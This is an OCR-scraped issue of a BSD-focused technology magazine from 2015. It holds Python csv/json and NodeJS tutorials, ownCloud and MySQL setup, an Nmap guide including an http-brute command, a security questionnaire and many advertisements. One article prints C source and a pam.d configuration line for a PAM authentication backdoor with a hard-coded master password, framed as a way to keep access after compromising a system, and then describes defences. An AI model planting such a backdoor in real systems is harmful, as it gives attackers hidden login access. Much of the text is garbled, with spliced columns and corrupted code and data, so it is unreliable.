Home

security

image

Contents

1. 05 2015 FreeNAS IN BUSINESS in an Enterprise Environment By the time you re reading this FreeNAS has been downloaded more than 5 5 million times For home users it s become an indispensable part of their daily lives akin to the DVR Meanwhile all over the world thousands of businesses universities and government departments use FreeNAS to build effective storage solutions in myriad applications What you will learn INTERRUPT THIS MAGAZINE TO BRING How TrueNAS builds off the strong points of the FreeBSD and FreeNAS operating systems How TrueNAS meets modern storage challenges for enterg he FreeNAS operating systems is fre the public and offers thorough doc active community and a feature rig the storage environment Based on Free can share over a host of protocols SM FTP iSCSI etc and features an intuiti the ZFS file system a plug in system much more Despite the massive popularity g aren t aware of its big brother dut data in some of the most demand environments the proven enterp professionally supported line of But what makes TrueNAS diffd Well I m glad you asked Commercial Grade Supp When a mission critical stor organization s whole operat halt Whole community bag free it can t always get an and running in a timely responsiveness and expe dedicated support tea provide that safety Created by the sam developed FreeNAS inside YOU THIS IMPORTANT ANNOUNCEME
2. Opening and reading from files Let s practice opening and reading files In this section I ll try to show some quirks about opening files like Universal newline and such First thing we need is a file We can create a new empty file on disk by doing 05 2015 f open home path to file file txt w The mode w indicates that we are opening the file for writing and if no file exists with the name and path pro vided one will be created Note that if there is a file with the same name as the one you are trying to edit it will be erased If you want to append information to an exist ing file use the a mode Try it When you are done reading the data from the files you should close the file by calling close This will release the file and free up any system resourc es used by the opening of your file As of Python 2 5 a new statement was introduced to simplify this process the with statement This statement clarifies some code that previously would use try finally blocks so that it can be written in a more pythonic way Using this you can open a file and when you no longer use it the file will be properly closed even if some excep tions are raised along the way and the system resources will be freed Here s an example of the proper opening of a file with open workfile r as f read data f read CSV files and csvreader Files can have many formats One of th
3. Question 8 What Service Level Agreements do you have in place with mission criti cal suppliers Have you examined your supply chain for any weakness recently What agreements and re dundancy do you have in place to mitigate risk in these areas Question 9 What risks are attached to the phys ical locations of your offices that could prevent service delivery Your data centres What potential risks can you foresee in the next month The next quarter The next year Question 10 How large a churn of staff do you have in your organisation What risk does this impose to your data secu rity Is this churn due to your busi ness sector How many of these employees are disgruntled Image courtesy of John M Kennedy T BSD MAGAZINE SECURITY MAGAZINE BSD Question 11 Do you use data loss prevention on your email systems Are docu ments pro actively marked as Pub lic Confidential Top Secret etc Can external sources easily identify your staff email address from their names What implication and risks does this have for phishing attacks impersonation etc Question 12 What level of encryption do you use on corporate devices e g laptops mobile phones Bring your own de vices etc What about USB sticks Can any external visitor plug their device into your network or use your corporate Wi Fi Question 13 How do you guarantee the secure delivery of sensitive files to
4. 38 618305 121 443839 2805 JANETTE WAY SACRAMENTO 95815 CA 2 l 852 Residential Wed May 21 00 00 00 EDT 2008 69307 38 616835 7 1212429146 In this example you can see that we open the sample file using the with statement and we use the opened file in the reader function The reader function receives some useful args aS you can see above The delimiter defines the column separator in this case a comma The dialect argument identifies a specific dialect in this case the excel and loads a set of parameters specific to this particular dialect You can get the list of all registered di alects using this command gt gt gt csv list dialects excel tab excel There are a number of extra arguments that you can pass the reader function that you can check out in the CSV module page Once you have the row object you can access each column by index row 0 or you can use the row s iterator to your advantage and traverse the row s columns in a for cycle for example Write Writing data to a CSV file is fairly similar to reading data You have a writer instead of a reader and you send the rows to the writer and close the file in the end It s as sim ple as that gt gt gt import csv gt gt gt with open newfile csv wb as csvfile writer csv writer csvfile delimiter quotechar quoting csv QUOTE MINIMAL Spamwriter writerow
5. SECURITY Table 3 Available functions for PAM For the purposes of making something nefarious the au thenticate function is the most useful and this will be used for the rest of the article The code listed in Figure 1 contains the pam_sm_au thenticate function so it will be used when the user logs in The password is checked to see if the used typed in backdoorsAreEvil and if so PAM SUCCESS is returned l This function also writes Backdoor activated into var log messages Which may not be desirable if this is truly include lt pwd h gt include lt stdlib h gt include lt stdio h gt include lt string h gt include lt unistd h gt include syslog h gt include lt security pam modules h gt PAM EXTERN int pam sm authenticate pam handle t pamh int flags i int argc const char argv struct pam conv conv struct passwd pwd const char user char password int pam err identity user if pam err pam get user pamh amp user NULL PAM SUCCESS return pam err if pwd getpwnam user NULL return PAM USER UNKNOWN get password pam err pam get item pamh PAM CONV const void amp conv if pam err PAM SUCCESS return PAM SYSTEM ERR pam err pam get authtok pamh PAM AUTHTOK const char amp password NULL compare passwords char output char malloc sizeof pwd gt pw name strlen password Sizeot char 20
6. 00 00 00 EDT 2008 320000 goeu 1 0710S p 121 354153 y 74741 PACIFIC PARK DR ANTELOPE 95843 CA 5 3 2347 Residential Mon May 19 00 00 00 EDT 2008 325000 38 109299 121 353056 3361 ALDER CANYON WAY PNTEDOPE 95843 CA 74 73 72065 jResidential BSD 3828 BLACKFOOT WAY ANTELOPE 7863 CRESTLEIGH CT ANTELOPE 5712 MELBURY CIR ANTELOPE 95843 4508 OLD DAIRY DR ANTELOPE 95843 5308 MARBURY WAY ANTELOPE 95843 MAGAZINE PROGRAMMING Mon May 19 00 00 00 EDT 2008 408431 38 727649 pH 121 5389056 J 99843 CA 3 2 1711 Residential Fri May 16 00 00 00 EDT 2008 161500 38 70900 121 382328 4008 GREY LIVERY WAY ANTELOPE 95843 CA 3 2 1669 Residential Fri May 16 00 00 00 EDT 2008 168750 38 71846 121 370862 8716 LONGSPUR WAY ANTELOPE 95843 CA 3 2 1479 Residential Fri May 16 00 00 00 EDT 2008 205000 738724083 p 121 3584 95843 CA 4 2 1953 Residential Fri May 16 00 00 00 EDT 2008 207744 38 71174 121 342675 4085 COUNTRY DR ANTELOPE 95843 CA 4 3 1915 Residential Fri May 16 00 00 00 EDT 2008 240000 gt 38 706209 121 369509 8316 NORTHAM DR ANTELOPE 95843 CA o
7. 1 DVD 239 95 FreeBSD 9 1 Jewel Case CD Set or FreeBSD 9 1 DVD Stylish Dress Attive The PC BSD 9 0 Users Handbook Give us a call amp ask about our COFTWARE BUNDLES 1 925 240 6652 299 95 The FreeBSD CD or DVD Bundle 249 9 PC BSD 9 1 DVD Inside each CD DVD Bundle you ll find Frees Handbook 3rd Edition Liners Guide FreeBSD Handbook 3rd Edition Adrmin Guiche FreeBSD 9 1 CD or DVD set Frees Toolkit DVD Fa Look Your Professional Best oy ge Apparel Stay Warm in Zip Ups amp Pullovers FreeBSD 9 1 Jewel Case CD DVD CD Set Contains Disc 1 Installation Boot LiveCD i386 Disc 2 Essential Packages Xorg i386 Disc 3 Essential Packages GNOME2 i386 Disc 4 Essential Packages i386 bmw a eo BB EEY E E Sipe np ene ne aie AE le OTN ea OEE RR Fe A S LAT Fr BSD 9 0 DVD ccccccccccsccsccesecceccescecceccecseceeceecsecesceaceaceeeeeeee 9 39 95 RIR E FreeBSD Subscriptions Save time and 5 by subscribing to regular updates of FreeBSD FreeBSD Subscription start With CD 9 1 wo cscecsseseeseesrenneee 929 95 FreeBSD Subscription start with DVD 9 1 csssssssssscsnesesrene 929 95 FreeBSD Subscription start With CD 9 0 csssssscesssssesneseerees 929 99 FreeBSD Subscription start With DVD 9 0 scsssssessnesssnenesrens 929 95 PC BSD 9 1 DVD Isotope Edition PE BSE SU DSEN O iS ee 19 95 Just Flainn Fur Mousepads amp Novelty Homs F
8. Previously we ve seen how to build NodeJS from the sources in FreeBSD with minor source code changes This time we ll have an overview of the application s build process nodejs application in pure Javascript However it s also possible to build an application natively in C C It is exactly what we re going to see T here are numerous excellent tutorials to build a NodeJs application structure We only focus on the modern way to build a native appli cation Before we had to do a node waf package via a Py thon script It was deprecated and replaced by node gyp This is a basic gyp project structure lt project folder gt gt binding gyp gt lt C source code gt A binding gyp file describes the source code to compile the package name eventually the necessary compila tion linker flags Let s start with an usual Hello world s example quite FreeBSD Hello world First we need an entry point an initializer from which we will export our functions to nodejs void Init Handle lt v8 Object gt exports BSD MAGAZINE 30 And to register our module NODE MODULE freebsdmod Init gt Note that there is no need of a comma after this macro Very well but for the moment our module is not useful yet we would need at least one feature Let s imagine a simple random function which uses in ternally one of our arc4random family function a func tion which will be
9. Spam Lovely Spam Wonderful Spam J BSD MAGAZINE PROGRAMMING Looking at the example we can see that it s similar in many aspects to the reader including the delimiter and other arguments The delimiter was already explained in the reader As for the others the quotechar is a one character string used to quote fields containing special characters such as the delimiter or quotechar or which contain new line characters It defaults to lt The quot ing argument controls when the quotes are added in this case or when they should be read when we are talking about the reader As mentioned above more arguments exist and can be used so you should consider taking a look at the module documentation Simplejson JSON is a human readable data format that became pop ular in web development as an alternative to XML It is mostly used to transmit data between client and server but can also be used to store data Python has a library to parse json data into Python data structures gt gt gt import json So why do we need JSON There are other ways to store and load data in Python Pickle for example Pickle allows the serialization and unserialization of data in py thon As said in the last sentence the in python part is very important This data is only readable by Python so it is not of much use for other system integrations JSON in the other hand has gradually become one of the m
10. WAY ANTELOPE 7 921 DOE TRAIL WAY Now we have the data in the format that we want but it is still not very readable Let s make a function to pretty print the data in a more human way gt gt gt def pretty print data data for city in data print City 5s city for type in data city PEINE y Type s d type len data city type BSD MAGAZINE 28 Now let s try it and see some sample output gt gt gt pretty print data processed City ORANGEVALE Type Residential 11 City CITRUS HEIGHTS Type Residential 32 Type Condo 2 Type Multi Family 1 City SACRAMENTO Type Residential 402 Type Conde 27 Type Multi Family 10 Output a file with the metrics obtained We now have the statistical data But what can we do with it Let s save it in a file using the JSON format so that it can be passed to other applications gt gt gt import json gt gt gt with open statistics json whb as f json data json dumps processed f write json data gt gt gt And that s it Try to read the data from the newly created JSON file so that you get the hang of it My name is Rui Silva and I m a Python developer who loves open source started working as a freelancer in 2008 while finished my graduation in Computer Science in Universidade do Minho Af ter my graduation started pursuing a master s degree choosing the fie
11. allow the entire group to pass and PAM will no longer continue evaluating following modules Creating your own PAM module for nefarious purposes Creating a PAM module is generally done in C This should only be done on non production systems obviously as if a mistake is made it may prevent the user from log ging into the system again or let anyone logon Writing modules is fairly simple and usually just involves creating a module with one or more custom functions A module can be used in one or more of the groups such as auth session account and or password as discussed above in order to perform different functions depending on which group the module is being used in The pattern for each of the functions is as follows PAM EXTERN int pam sm FUNCTION pam handle t pamh int flags int argc const char argv Function is to be replaced with one of the following with their matching group displayed in Table 3 These functions can either return PAM_SUCCESS when the module is successful or another value in cases in the case of errors such as the user password was in correct Depending on what is returned the rules defined in the PAM configuration files decide how this return code will be used For example if the rule is optional then the return code doesn t really matter If the rule is defined as required then PAM SUCCESS must be returned other wise PAM no longer continues to evaluate the rules BSD MAGAZINE
12. can comfortably bet the intellectual property is not going to be made Open Source any time soon for the benefit of all Maybe am getting old but the last time heard of se rious investment in a project that could benefit mankind on a global scale was the space race during the cold war Kennedy spooked by the Russian advances with Sputnik and the Luna 2 unmanned mission to the moon initiat ed the Apollo program which led to the first man stepping forth onto lunar soil Without doubt this was driven by the tensions of the cold war but in a perverse way the oppos ing factions managed somehow to reach equilibrium and we now have an International Space Station While space as a domain is very much in control of the military there are some advances with public companies looking to of fer charter flights in the future at least to the edge of the atmosphere of the earth e g Virgin etc It is unlikely in our lifetime that we will discover the full panoply of what is re ally has been going on up there for the past 50 years we do however have but a very small clue with the Star wars program As a technologist I ll be flippant for a moment and admit would love to have a personal cyborg help me around www bsdmag org the house The idea has been mooted since the 1960 s the era of my birth so hope may be forgiven Provided there is a strong ethical boundary Do no evil as stat ed in previous articles would have no
13. close of the Second World War where some 70 illegal medi cal research programs were carried out in the Nazi death camps Having a rather tarnished view of the ability of the Military Industrial Complex to be open honest and trans parent leads me to suspect that a successful transplant may have already occurred behind the thick velvet curtain of public perception 05 2015 While there are those that would categorise Demikhov as a Mad scientist in all probability if he had performed his ground breaking surgery in the West rather than be hind the Iron Curtain he may well have been f ted for a Nobel peace prize ironically an honour conceived by the inventor of dynamite Truth is indeed stranger than fiction But as always it is not the technology or in this case the chemistry that is of interest but how it is applied and who has control If we are honest with ourselves the Western business model is not the ideal basis for research and development as the return on investment may be spec tacular if a nugget of gold is found but in the majority of cases all the investor is left with after considerable sifting is dirt It is no wonder then that the major advances take place off the radar being funded either by major corpora tions or a combination of the government and the military And this leaves us with a problem he who pays the piper chooses the tune and when you have a project with such a large geopolitical footprint you
14. external third parties Is this audited Moni tored Logged Question 14 If there was to be a major security breach e g loss of data release of confidential information etc do you have a public relations plan in place Do you have PR and legal resource who are Internet savvy on standby Question 15 Do you develop or maintain soft ware What systems are in place to ensure that you release a quality product that is not tainted with mal ware or security holes Can cus tomers be sure that what you are re leasing is what they are receiving What version control and auditing do you use Do you use third par ties to manage this service Is there a legal contract in place limiting your exposure if the worse were to hap pen Question 16 Looking at your organisation what would you consider the greatest risk to be Medium risk Low risk Will this be likely to change in the future Rob Somerville has been passionate about technology since his ear ly teens A keen advocate of open systems since the mid eighties he has worked in many corporate sectors including finance automo tive airlines government and media in a variety of roles from tech nical support system administrator developer systems integrator and IT manager He has moved on from CP M and nixie tubes but keeps a soldering iron handy just in case 05 2015 Great Specials On FreeBSD amp PC BSD Merchandise 229 95 PC BSD 9
15. find new and existing network hosts Both of these tasks require scanning a significant amount of addresses This can be done by adding the following arguments to the command line or adding them to Target field e Nmap 1 1 1 1 2 2 2 2 3 3 3 3 scan three IP addresses e Nmap 10 1 1 1 250 range of IP addresses e Nmap 10 1 1 0 24 scan subnet You can also accomplish more complex scenarios such as taking a list of targets from a text document excluding some BSD MAGAZINE SECURITY targets from the range or even scanning random targets Scan results can be saved for future retention transformed by using NSE network scripting engine or used by some external systems like a SIEM or GRC engine Thanks to a great GUI and the traceroute parameter we are also able to build a network overview Here is the example of scanning the scanme Nmap org host subnet Figure 3 Results can easily be saved by pressing the Save graphic button Please take into consideration that by default Nmap relies on ICMP replies to check whether targets are alive De pending on the target environment sometimes it is better to rely on other discovery options such as IP ping UDP ping or scanning every IP address even if there is no evidence of life Defining the scope of ports to be scanned If you are not comfortable with the 1000 ports scanned by default we can easily limit the scan with the help of the following parameters e F scanning
16. is sufficient for this first example Now we can compile our module gt node gyp configure gt node gyp build We can now test with a simple nodejs script var fmod require build Release freebsdmod var rnd fmod random 1024 1024 console log rnd gt Should print a significant numerical value Wrapped objects Apart of making atomic C functions to export we have also the possibility to handle more complex cases www bsdmag org by making wrapped node objects For this example let s use yara library the malware s tool The binding gyp file would look like this targets I target name yaranode vsources yaranode cc include dirs usr local include libraries L usr local lib lyara A wrapped object must inherit ObjectWrap class ifndef YARANODE H define YARANODE H include lt yara h gt include lt node h gt include lt node object wrap h gt static void addrulecb int const char int const char wy void class YaraNode public node ObjectWrap private YR COMPILER yc int yrrules explicit YaraNode YaraNode static void New const v8 FunctionCallbackInfo lt v8 Va lue gt amp static v8 Persistent lt v8 Function gt constructor gt Contrary to the Local handles a Persistent storage is independent of any HandleScope valid until cleared static void AddRule const v8 F
17. problem with this if there was an effective kill switch Going on past his tory though and as a human being seriously have my doubts We have yet to deal effectively with Spam Trolls Kiddie Porn and Hackers and that is just at the Internet layer The Middle East is a bloodbath Africa despite 50 years of intervention is still a cesspit of conflict and pov erty the USA Europe and Russia have yet to resolve their political and idealistic differences and that is even before we bring other developing nations to the table Japan and China having embraced technology from a very differ ent ethical and philosophical perspective than the West would suggest have the best chance of surviving the cultural and ethical tsunami that this technology presents with any significant degree of benevolence It would be much better though for humanity if we all got around the table and sorted out issues like food clean water and pov erty and then concentrated on the technological infra structure As a race we still haven t managed to deal with the impact of the AK47 one of the cheapest most widely available and effective pieces of killing technology of our age This does not inspire confidence If the series proves to be as powerful as the realistic advertising campaign and trailers hopefully this will open the doors to some ra tional debate as to where exactly technology should sit ethically and as a priority in our vulnerable
18. required pam env so auth sutfticient pam unix so try Ttirst pass auth requisite pam succeed if so uid gt 500 quiet auth required pam deny so auth sufficient pam prime so This line simply says that if the pam_prime mod ule returns a PAM SUCCESS that is enough and do not continue evaluating the rest of the pam mod ules This means that with this installed attacker can log on with just a valid user name and the password backdoorsAreEvil This could be highly useful as a meth od of maintaining access after compromising a system No extra ports are opened so long as SSH or another service utilizing PAM is available an attacker can simply login with the same password through normal services www bsdmag org Defense of PAM module backdoors The first defense of a PAM module backdoor is simply pre venting the attacker from gaining root access in the first place Without root it is impossible to place the necessary module or modify the PAM configuration file Of course this isn t always possible so the next best defense is to monitor file changes on a system If anything involving the PAM system changes administrators should investi gate the change looking into why and how the change oc curred Simply auditing all of the files in etc pam d will go a long way so long as the logs are looked at and prefer ably sent to a system log server To audit the files password auth ac and system auth ac simply add this to etc audit audit rule
19. to be INSTALLED mysqlo5 server 5 5 40 mysql55 client 5 5 40 The process will require 105 MB more space 8 MB to be downloaded After the installation it simply needs to be configured and enabled in etc re conf by adding lines such as the following mysql enable YES mysql dbdir srv mysql Before MySQL can be started the database directo ry specified above needs to be created and appropriate permission given mkdir srv mysql chown mysql mysgl srv mysgl It is also useful at this point to create a MySQL config uration file name my cnf and located in usr local etc This file can contain lines such as these 05 2015 mysqld key buffer 128M thread concurrency 4 query Cache type 1 query cache size 128M innodo Hle per table 1 MySQL is very customisable and supports a huge num ber of configuration options The options in the above example specify the key buffer size of 128 MiB that 4 threads will be used to serve queries activate the query cache and set its size to also 128 MiB the set tings are unrelated All of these settings are useful for increasing the database performance but the offi cial MySQL documentation should be studied to under stand their full effects The last line specifies that indi vidual tables in the database will be saved as individual files in the database directory which is extremely useful for backups and maintenance After the configuration file i
20. will focus on running a drone hardware and embedded flying tips and tricks range business the latest FAA requirements engineers designers and navigation payloads stability and restrictions supporting and software developers building avoiding crashes power educating drone buyers marketing commercial drones and the environmental considerations drone services and where the next software that controls them which drone is for you and more hot opportunities are likely to be The Largest Commercial Drone Show in North America rr September 9 10 11 2015 2 Demos Panels Keynotes 4 Rio Las Vegas he The Zipline bee nape www iInterDrone com A BZ Media Event PROGRAMMING Python Programming The csv and json Python Module Files are a big part of programming We use them for a lot of things HTML files have to be loaded when serving a web page Some applications export files in some formats that we need to read in other applications or even we want to be the ones doing the exporting In this article we will learn some concepts to help us understand how to use files and also some advanced ways of making use of them in Python The name Duck Typing comes from the expression If it walks like a duck swims like a duck and quacks like a duck it is a duck In program ming languages this means that if an object is not of the type you desire but has the same methods then it must do the same thing To understan
21. world The series will be available in the UK on Channel 4 from the 14 of June 2015 and in the USA on AMC from the 28 of June 2015 Rob Somerville has been passionate about technology since his ear ly teens A keen advocate of open systems since the mid eighties he has worked in many corporate sectors including finance automo tive airlines government and media in a variety of roles from tech nical support system administrator developer systems integrator and IT manager He has moved on from CP M and nixie tubes but keeps a soldering iron handy just in case BSD MAGAZINE Whether you re an enterprise developer work for a commercial software company or are driving your own startup if you want to build Android apps you need to attend AnDevCon AnDevCon July 29 31 2015 Sheraton Boston Right after Google IO e Choose from more than 75 classes and in depth tutorials e Meet Google and Google Development Experts e Network with speakers and other Android developers e Check out more than 50 third party vendors e Women in Android Luncheon e Panels and keynotes e Receptions ice cream prizes and more plus lots of coffee Register Early and Save A BZ Media Event Ei a AnDevCon Android is everywhere Earn your Certificate Kelvin De Moya Sr Software Developer Intellisys VMargaret Maynard Reid Android Developer Dyne Inc Calling all SharePoint and Office 30
22. 100 most used ports instead of 1000 top ports number of ports to scan top num ber most common ports e p number scan specific ports i e p 80 443 or p440 450 e p name i e p https e p for scanning all ports in 1 to 65535 range e p U UDP ports T TCP ports to scan both TCP and UDP custom ports C omiran imap ap B D4 trecerqute TALAT Li Hirsti Biri Hmap Output Parni Hasi Topoksgp Hint Detali Seana bace DE d Hint Hovis Wieser fisheye Controds Bave Graphic E bihil menbesi EO BT umembers E legitertec cors Th E oprarersnmapiorg i Do weii i212 embers ini com TAT IHE IOS gbk 1 cote T bE 1T mamis Breki C J i0pgabisiamp T panici hert E TOn 1 ee T ra a a Ad togigabiphemt ora an hunet Jiigpbiherni 2 mri amathea nied Co Topganim pon Ari nag red J ha BT rear n p oT Pi IN hy A 1 i l 1 yy a w l wN li I Oo 1 NN j 1 j i 6 1 jaat i N Be A a i P Rem ti je oOo gt aah lihoai fr j 1 gt 6 oO Vater ost kA _ a Figure 3 Example of network map built after scanning Internet host BSD MAGAZINE 22 Command nmap p 80 v sonpt http brute senpt angs brute firstonby TA 1681 1 Haste Services Nmap Output Ports Hosts Topology Host Details Scams OS 4 Host nmap p 80 v scrmpt http brute seript args beute firstonly 192 163 1 1 ai Details E 1i26 217 m
23. 1705 2561 19TH AVE SACRAMENTO 90820 CA 93 91 1177 Residential Wed May 21 00 00 00 EDT 2008 9L002 38 535092 121 481367 11150 TRINITY RIVER DR Unit 114 RANCHO CORDOVA 05 2015 95670 CR 72 gt 7277 941 Condo Wed May 21 00 00 00 EDT 2006 94905 38 621188 121 270555 gt gt gt Now that we have the data in a list we can process it any way we like Let s move on to the next section so that we can manipulate each row and gather some da ta from it Manipulate and gather metrics on each sentence If you had the curiosity to observe the file contents before processing it you found that in the file header we have the column names of the file data street city zip state beds baths sq ft type sale date price latitude longitude Now lets separate the transactions by city and by type so that we can find out how many real estate properties of each type exist in each city If we think about it for a bit we have to separate the data by city and for each one separate the data by type example city 1 type 1 propertyl property2 property3 type 2 propertyl0 property22 propertyl2 by Clty 2 s 4 type 1 property5 property7 property8 by This is an example of a data structure that can handle our data you can think of other ways to store the data as long as you can get the statistical data
24. 2008 180000 38 710889 121 358876 4437 MITCHUM CT ANTELOPE 95843 CA 3 2 1393 Residential Tue May 20 00 00 00 EDT 2008 200000 38 704407 121 36113 5312 MARBURY WAY ANTELOPE 7 959843 7 CA 3 2 1574 Resicential Tue May 20 00 00 00 EDT 2008 255000 38 710221 7121 341651 CA gol 2 1567 Residential Tue May 20 00 00 00 EDT 2008 261000 38 705849 121 334701 8108 FILIFERA WAY ANTELOPE 95843 CA 4 3 1768 Residential Tue May 20 00 00 00 EDT 2008 265000 38 717042 121 35468 3318 DAVIDSON DR ANTELOPE 95843 CA 3 ol 988 Residential jMon May 19 00 00 00 EDT 2008 223139 38 705753 pul 388917 CA 4 3 2026 Residential Mon May 19 00 00 00 EDT 2006 231 200 38 72286 121 358939 8721 SPRUCE RIDGE WAY ANTELOPE 95843 CA 3 2 1187 Residential Mon May 19 00 00 00 EDT 2008 234000 38 727657 1215591028 43305 RIO ROCA CT ANTELOPE 95843 CA 4 r3 72002 Residential Mon May 19 00 00 00 EDT 2008 7239700 38 725079 7121 387698 CA G2 2 2 1830 Residential Mon May 19 00 00 00 EDT 2000 254172 38 710221 121 341707 4712 PISMO BEACH DR ANTELOPE 95843 CA 5 3 2346 Residential Mon May 19
25. 5 Developers f aK Developer Days J 2 4 2 6 2 0 1 D We are very excited to see an event that U n e y is purely focused on developers Office 365 and SharePoint See you there San Francisco chris JOS SPTechCon Developer Days will help you understand the new application model modern Web develop ment architecture languages and techniques and much more Check out these topics on the agenda The New App Model vaScript and jQuery e Office Graph amp Delve Web Part Development Responsive Web Design Client Side Development App and Workflow Customization SPServices The Content Query Web Part SI Developers d 2 Page Apps AngularJS and OP HTML5 and CSS Developing an Intranet Of Business Connectivity Service acured Wel rvices Solutions Versioning grading Features e The Content Search Web Part e The Evolution of SharePoint Event Receivers 7 alabil Presented by Be The SharePoint M ic rosoft dhlan A CET et mf y i f Technology Conference LI IS S Y Y UCVOS UVC gt SPTechCon is a trademark of BZ Media LLC SharePoint is a registered trademark of Microsoft Check out the program at www sptechcon com devdays A BZ Media Event ee SOME CASES nipper studio HAS VIR T WALLY REMOVED ne NEED FOR MANUAL AUDIT 9 CISCO SYSTEMS INC Titania s award winning Nipper Studio configuration auditing tool is helping security consultants and end user organisations worldwide
26. HandleScope scope isolate YaraNode ynode ObjectWrap Unwrap lt YaraNode gt args Holder if args Length 1 amp amp args 0 gt IsString 05 2015 YR RULES rules D const char filepath if ynode gt yrrules gt 0 amp amp yr compiler get rules ynode gt yc amp rules ERROR SUCCESS String Utf8Value fstr args 0 gt ToString filepath fstr yrscan yr rules scan tile rules tilepath O NULL NULL 10 args GetReturnValue Set Number New isolate yrscan void YaraNode Init Handle lt Object gt exports Local lt FunctionTemplate gt temp Isolate isolate isolate Isolate GetCurrent temp FunctionTemplate New isolate New temp gt SetClassName String NewFromUtf 8 isolate nwvaraNode gt From within a nodejs script the class will have this name we could have named it differently if necessary temp gt InstanceTemplate gt SetInternalFieldCount 2 NODE SET PROTOTYPE METHOD temp addRule YaraNode AddRule gt As the single functions with NODE SET METHOD we expose our methods via this macro NODE SET PROTOTYPE METHOD temp scanPile YaraNode ScanFile constructor Reset isolate temp gt GetFunction gt We clear the Persistent storage for each YaraNode instantation exports gt Set String NewFromUtf8 isolate YaraNode temp gt GetFunction www bsdmag org void YaraInit Handle lt Objec
27. NINET NAINI FOR NOVICE AND ADVANCED USERS ownCloud FILE SHARING APPLICATION WRITTEN IN PHP PYTHON PROGRAMMING THE CSV AND JSON PYTHON MODULE NODEJS AND FREEBSD ay PART 2 PLUGGABLE AUTHENTICATION MODULES one f 855 GREP 4 IX i i a E Rock Solid Performance Seis eae www iXsystems com r ites Enterprise Servers and Storage g arme ie f Professional In House Suppo t for Open Source LE 1 ee HOW IMPORTANT IS YOUR DATA Years of family photos Your entire music and movie collection Office documents you ve put hours of work into Backups for every computer you own We ask again how important is your data NOW IMAGINE LOSING IT ALL Losing one bit that s all it takes One single bit and your file is gone The worst part You won t know until you i absolutely need that file again Example of one bit corruption THE SOLUTION The Mini boasts these state of the The FreeNAS Mini has emerged as the clear choice to art features save your digital life No other NAS in its class offers i ry and ZFS bitr ECC error correcting code memory and ZFS bitrot EA O protection to ensure data always reaches disk Up to 16TB of storage capacity without corruption and never degrades over time 16GB of ECC memory with the option to upgrade to 32GB e 2x 1 Gigabit network controllers No other NAS combines the inherent data integrity Ramotemansueme
28. NT THE PEOPLE WHO DEVELOP FREENAS THE WORLD S MOST POPULAR STORAGE OS HAVE JUST REVAMPED TRUENAS Tryp Uk S POWER WITHOUT CONTROL MEANS NOTHING TRUENAS STORAGE GIVES YOU BOTH V Self Healing Filesystem M High Availability v Qualified for VMware and MV Simple Management Vj Hybrid Flash Acceleration Mv Intelligent Compresssion M All Features Provided HyperV Up Front no hidden Vi Works Great With Citrix licensing fees XenServer To learn more visit www iXsystems com truenas POWERED BY lee rath CRO ENR tel the Intel logo Intel Xeon and Intel Xeo zir e trademarks of Intel Corporation in the US and or other countries VMware and VMware Ready are registered trademarks or trademarks of VMware Inc in the United States and other jurisdictions Citrix makes and you receive no representations or warranties of any kind with respect to the third party products its functionality the testis or the results here from whet rexpressed implied statutory or others 58 ae hout limit atie an those of fitness for a par nicular p yurpose merchantability oH nfring eme itle Tot Steril pe mitted ive p abk a Law In no eve hall Cit sa liable for any dams age of a ny a id whatsoev arising Out of y use of t i be i party produ shether dir Sly Area UREN A IT wide ntal mu Wiel punitive or other dam CONTENTS OwnCloud File Sharing Over the Web with ownCloud S Ivan Voras OwnCloud is a well featured collaboration application whos
29. ON A i Preso s T Shirt Lots of Styles to Choose From The FreeBSD Handbook The FreeBSD Handbook Volume 1 User Guide usses 39 95 The FreeBSD Handbook Volume 2 Admin Guide 39 95 The FreeBSD Handbook Specials The FreeBSD Handbook Volume 2 Both Volumes 559 95 The FreeBSD Handbook Both Volumes amp FreeBSD 9 1 79 95 PC BSD 9 0 Users Handbook 000 ee 24 95 BSD Ma aZ irene ccs ecsssseesecsecccssnnssssessecescenssnsnnssesssseesseee 11 99 The FreeBSD Toolkit DVD 0 cessssssssssssessssensess 939 95 FreeBSD Mousepad ccsssessscsssssssssesssessssssssseseseesseeee 910 00 FreeBSD amp PCBSD Cap uu cccssssssssssssssssssessessseseen 920 00 BSD Daemon Horn 5 LELLELEELLLTELLELEEEEEETELEET EI T EEE EEE EEE EEE a a a EEE EEE a E 2 00 PANORAMIC PHOTOGRAPHY JEO m gi For even MORE items visit our website today www FreeBSDMall com BSP Magazine Available Morthiy What is PAM and why do l care DANIEL LOHIN Pluggable Authentication Modules PAM is the main mechanism for Linux as well as other Unix systems that performs the authentication of the user every time they log in PAM can be configured in a number of ways in order to authenticate the user in a variety of means such as using passwords SSH keys smart cards etc What you will learn e What Pluggable Authentication Modules e How PAM can be used when lo
30. a gt gt gt with open data ftile csv rU as f reader csv reader f delimiter dialect excel for line in reader data append line gt gt gt data 10 street city zip scate beds baths Sq_ ft type sale date price latitude longitude 3526 HIGH ST SACRAMENTO 95838 CA 42 9 vi 836 Residential Wed May 21 00 00 00 EDT 2008 59222 38 631913 121 434879 51 OMAHA CT SACRAMENTO 95823 CA 3 1 1167 Residential Wed May 21 00 00 00 EDT 2008 68212 30 478902 121 431028 2796 BRANCH ST SACRAMENTO 99815 CA 2 1 796 Residential Wed May 21 00 00 00 EDT 2008 768880 38 618305 121 443839 2805 JANETTE WAY SACRAMENTO 95815 CA 2 rl 852 Residential Wed May 21 00 00 00 EDT 2008 69307 38 616835 121 439146 76001 MCMAHON DR SACRAMENTO 95824 CA 2 1 797 Residential Wed May 21 00 00 00 EDT 2008 81900 38 51947 7121 435768 5828 PEPPERMILL CT SACRAMENTO 95841 pCR 73 i gt 1122 Conde Wed May 21 00 00 00 EDT 2008 89921 38 662595 121 327813 6048 OGDEN NASH WAY SACRAMENTO 95842 CA 3 2 1104 Residential Wed May 21 00 00 00 EDT 2008 90895 30 681659 121 35
